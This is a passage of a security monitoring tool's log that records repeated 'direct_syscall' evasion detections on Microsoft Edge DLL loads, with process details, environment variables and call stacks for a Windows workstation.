(x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffc9ffab432 C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll!DllGetClassObject|0x7ffc9ffa217f C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll!?|0x7ffc9ffab23f C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll!DllGetClassObject|0x7ffc8ce60fd9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174544 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.5637503 +0100 CET + Params: base_address➜ 7ffcd6180000, checksum➜ 769657, default_address➜ 7ffcd6180000, file_path➜ C:\Windows\System32\policymanager.dll, image_size➜ 741376, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffccc263c7f C:\Windows\System32\DiagnosticDataSettings.dll!TelGetNumericPolicy|0x7ffccc264c0b C:\Windows\System32\DiagnosticDataSettings.dll!TelSetLocalTelemetrySetting|0x7ffccc2633cf C:\Windows\System32\DiagnosticDataSettings.dll!?|0x7ffccc263906 C:\Windows\System32\DiagnosticDataSettings.dll!TelEvaluateActiveSettingAuthority|0x7ffccc263a39 C:\Windows\System32\DiagnosticDataSettings.dll!TelGetAllAllowedTelemetryTypes|0x7ffc9ffab23f C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll!DllGetClassObject|0x7ffc8ce60fd9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174579 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.5650225 +0100 CET + Params: base_address➜ 7ffcdd040000, checksum➜ 899838, default_address➜ 7ffcdd040000, file_path➜ C:\Windows\System32\oleaut32.dll, image_size➜ 880640, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ EMBEDDED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcd6195fa2 C:\Windows\System32\policymanager.dll!PolicyManager_FreeStringValue|0x7ffcd61ce509 C:\Windows\System32\policymanager.dll!EnterprisePolicyManagerStore_GetAllProviderIds|0x7ffcd61888fb C:\Windows\System32\policymanager.dll!PolicyManager_GetPolicy|0x7ffccc263cfa C:\Windows\System32\DiagnosticDataSettings.dll!TelGetNumericPolicy|0x7ffccc264c0b C:\Windows\System32\DiagnosticDataSettings.dll!TelSetLocalTelemetrySetting|0x7ffccc2633cf C:\Windows\System32\DiagnosticDataSettings.dll!?|0x7ffccc263906 C:\Windows\System32\DiagnosticDataSettings.dll!TelEvaluateActiveSettingAuthority|0x7ffccc263a39 C:\Windows\System32\DiagnosticDataSettings.dll!TelGetAllAllowedTelemetryTypes|0x7ffc9ffab23f C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll!DllGetClassObject|0x7ffc8ce60fd9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files 